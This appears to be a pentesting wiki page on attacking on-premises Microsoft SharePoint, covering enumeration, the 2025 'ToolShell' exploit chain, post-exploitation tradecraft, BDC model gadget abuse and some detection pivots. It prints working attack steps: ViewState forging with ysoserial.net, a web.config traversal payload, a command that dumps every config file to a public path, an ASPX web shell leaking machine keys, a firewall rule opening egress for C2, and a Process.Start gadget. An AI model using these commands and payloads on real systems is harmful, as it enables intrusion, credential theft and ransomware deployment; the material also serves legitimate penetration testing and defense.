Microsoft SharePoint – Pentesting & Exploitation

Microsoft SharePoint (on-premises) is built on top of ASP.NET/IIS. Most of the classic web attack surface (ViewState, Web.Config, web shells, etc.) is therefore present, but SharePoint also ships with hundreds of proprietary ASPX pages and web services that dramatically enlarge the exposed attack surface. This page collects practical tricks to enumerate, exploit and persist inside SharePoint environments with emphasis on the 2025 exploit chain disclosed by Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

CISA’s technical analysis documents ToolShell exploitation artifacts and detection guidance that can be used to reproduce indicators safely in an authorized lab.^[6]

For exploit internals, the Securelist analysis walks through ToolPane.aspx, the relevant SharePoint code path, and observed payload behavior.^[7] Prefer validated analyses over speculative GitHub repositories: Eye Security explicitly removed links to unverified ToolShell PoCs, noting that the effective chain does not require a file write.^[8]

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> allows arbitrary Server-Side Include code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes Process.Start() and drop a malicious ViewState.^[1]^[2]

2.2 CVE-2025-49706 – Improper Authentication Bypass

The same page trusts the X-Forms_BaseUrl header to determine the site context. By pointing it to /_layouts/15/, MFA/SSO enforced at the root site can be bypassed unauthenticated.^[1]^[2]

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Once the attacker controls a gadget in ToolPane.aspx they can post an unsigned (or MAC-only) __VIEWSTATE value that triggers .NET deserialization inside w3wp.exe leading to code execution.^[1]^[4]

If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:^[1]

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
    ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting Viewstate Parameter

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Sending a crafted Source parameter to ToolPane.aspx (e.g. ../../../../web.config) returns the targeted file, allowing leakage of:^[1]^[4]

<machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:^[5]

Header spoofing for auth bypass – the actor sends POSTs to /_layouts/15/ToolPane.aspx with Referer: https://<victim>/_layouts/15/ plus a fake X-Forms_BaseUrl. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771).
Serialized gadget in the same request – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside w3wp.exe without ever touching disk.
Internet-scale scanning – telemetry from July 2025 shows them enumerating every reachable /_layouts/15/ToolPane.aspx endpoint and replaying a dictionary of leaked <machineKey> pairs. Any site that copied a sample validationKey from documentation can be compromised even if it is otherwise fully patched (see the ViewState page for the signing workflow).
Immediate staging – successful exploitation drops a loader or PowerShell stager that: (1) dumps every web.config, (2) plants an ASPX webshell for contingency access, and (3) schedules a local Potato privesc to escape the IIS worker.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

The resulting debug_dev.js can be downloaded anonymously and contains all sensitive configuration.^[1]

3.2 Deploy a Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Decoded payload example (shortened):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
        Response.Write(MachineKey.ValidationKey);
        // echo secrets or invoke cmd
    }
</script>

Written to:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.^[1]

3.3 Obfuscated variant (variation-3)

Same shell but:^[1]

dropped under ...\15\TEMPLATE\LAYOUTS\
variable names reduced to single letters
Thread.Sleep(<ms>) added for sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:^[3]

AK47C2 – `dnsclient` variant

Hard-coded DNS server: 10.7.66.10 communicating with authoritative domain update.updatemicfosoft.com.
Messages are JSON objects XOR-encrypted with the static key VHBD@H, hex-encoded and embedded as sub-domain labels.
```
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
Long queries are chunked and prefixed with s, then re-assembled server-side.

Server replies in TXT records carrying the same XOR/hex scheme:

{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}

Version 202504 introduced a simplified format <COMMAND>::<SESSION_KEY> and chunk markers 1, 2, a.

AK47C2 – `httpclient` variant

Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via libcurl (CURLOPT_POSTFIELDS, etc.).
Same task/result workflow allowing:
- Arbitrary shell command execution.
- Dynamic sleep interval and kill-switch instructions.

X2ANYLOCK ransomware

64-bit C++ payload loaded through DLL side-loading (see below).
Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension .x2anylock.
Recursively encrypts local drives and discovered SMB shares; skips system paths.
Drops clear-text note How to decrypt my data.txt embedding a static Tox ID for negotiations.

Contains an internal kill-switch:

if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

Attacker writes dllhijacked.dll/My7zdllhijacked.dll next to a legitimate 7z.exe.
SharePoint-spawned w3wp.exe launches 7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory.
A separate LockBit loader observed (bbb.msi ➜ clink_x86.exe ➜ clink_dll_x86.dll) decrypts shell-code and performs DLL hollowing into d3dl1.dll to run LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Turning SharePoint loot into lateral movement

Decrypt every protected section – once seated on the web tier, abuse aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (or -px "appSettings") to dump the clear-text secrets hiding behind <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.^[5]
Recycle app-pool accounts across farms – many enterprises reuse the same domain account for IIS APPPOOL\SharePoint on every front-end. After decrypting identity impersonate="..." blocks or reading ApplicationHost.config, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing psexec, sc create, or scheduled-task staging without triggering password sprays.^[5]
Abuse leaked <machineKey> values internally – even if the internet perimeter gets patched, reusing the same validationKey/decryptionKey allows lateral ViewState exploitation between internal SharePoint zones that trust each other.

3.6 Persistence patterns witnessed in 2025 intrusions

Scheduled tasks – a one-shot task named SYSCHECK (or other health-themed names) is created with /ru SYSTEM /sc once /st <hh:mm> to bootstrap the next-stage loader (commonly a renamed conhost.exe). Because it is run-once, telemetry often misses it unless historic task XML is preserved.^[5]
Masqueraded services – services such as WindowsTempUpdate, WaaSMaintainer, or MicrosoftTelemetryHost are installed via sc create pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the OriginalFileName PE field is a quick integrity check.^[5]

3.7 Host firewall downgrades for relay traffic

Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:^[5]

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as program=, most SOC baselines ignore it, yet it opens Any ➜ Any egress.^[5]

4. BDC model metadata as a .NET object-construction sink

SharePoint Business Data Connectivity (BDC) models can act as XML object-graph descriptions rather than passive database schemas. A TypeDescriptor can name a .NET type and contain nested descriptors for its fields or properties. Older BDC research already showed that trusting model-defined method parameter types can expose attacker-controlled XmlSerializer streams, so .bdcm upload and execution permissions form a security boundary.^[9]

4.1 Unrestricted type resolution and reflective property assignment

For a Database LOB system, DbTypeReflector.ResolveDotNetType() sends names shorter than 15 characters through a limited base resolver, but passes names of 15 or more characters directly to Type.GetType(name, throwOnError: true). Without an assembly/type allowlist, an assembly-qualified TypeName can therefore select classes available in the Global Assembly Cache. DotNetTypeReflector.Instantiate() then recursively constructs the nested descriptors, converts their default values, and assigns them through reflection. The important audit primitive is attacker-selected type + recursive construction + reflected property setters, even when no conventional formatter is present.^[11]

A property assignment may execute code rather than only store data. The ObjectDataProvider chain uses a nested ProcessStartInfo and Process; setting ObjectInstance refreshes the provider and invokes the method selected by MethodName on that object. The generic gadget internals are described on the .NET deserialization page.^[10][11]

var odp = new ObjectDataProvider { MethodName = "Start" };
var psi = new ProcessStartInfo {
    UseShellExecute = false,
    CreateNoWindow = true,
    FileName = "cmd.exe",
    Arguments = "/c whoami > C:\\Windows\\Temp\\bdc.txt"
};
var process = new Process { StartInfo = psi };
odp.ObjectInstance = process; // Refresh -> reflective Process.Start()

4.2 Store first, materialize later

Uploading the model only stores the graph. A useful trigger must reach default-value construction: a Client Object Model request containing FindSpecificDefault calls CreateDefaultParameterInstancesInternal and eventually DotNetTypeReflector.Instantiate(), so the dangerous setter runs before a useful database result is required. A compact request sequence is:^[11]

POST /_api/web/folders
{"__metadata":{"type":"SP.Folder"},"ServerRelativeUrl":"BusinessDataMetadataCatalog"}

POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='model.bdcm',overwrite=true)

POST /_vti_bin/client.svc/ProcessQuery
...
<Method Name="FindSpecificDefault" ... />

These requests normally require an authorized identity and a valid X-RequestDigest; an independent authentication bypass that supplies the Bearer token and digest converts the post-authentication primitive into an unauthenticated chain.^[11]

Do not assume one LOB type or gadget. An independent chain used a DotNetAssembly LOB to resolve and instantiate System.Web.UI.LosFormatter, then invoked its Deserialize instance method with a model-supplied default value. This demonstrates that the durable issue is unsafe type selection/materialization, not an ObjectDataProvider signature.^[12]

4.3 Detection pivots

Correlate the following server, proxy, and endpoint signals rather than matching only one payload family:^[11][12]

Creation of BusinessDataMetadataCatalog, followed by a .bdcm upload through /_api/web/GetFolderByServerRelativeUrl(...)/Files/add.
/_vti_bin/client.svc/ProcessQuery bodies containing BDC entity identities and methods such as FindSpecificDefault.
Unexpected assembly-qualified TypeName values, especially references to ObjectDataProvider, System.Diagnostics.Process, ProcessStartInfo, or LosFormatter.
Unusual child processes of SharePoint’s w3wp.exe; keep this process-tree signal even when the model uses a different LOB or gadget.

IIS post-exploitation & web.config abuse:

Iis Internet Information Services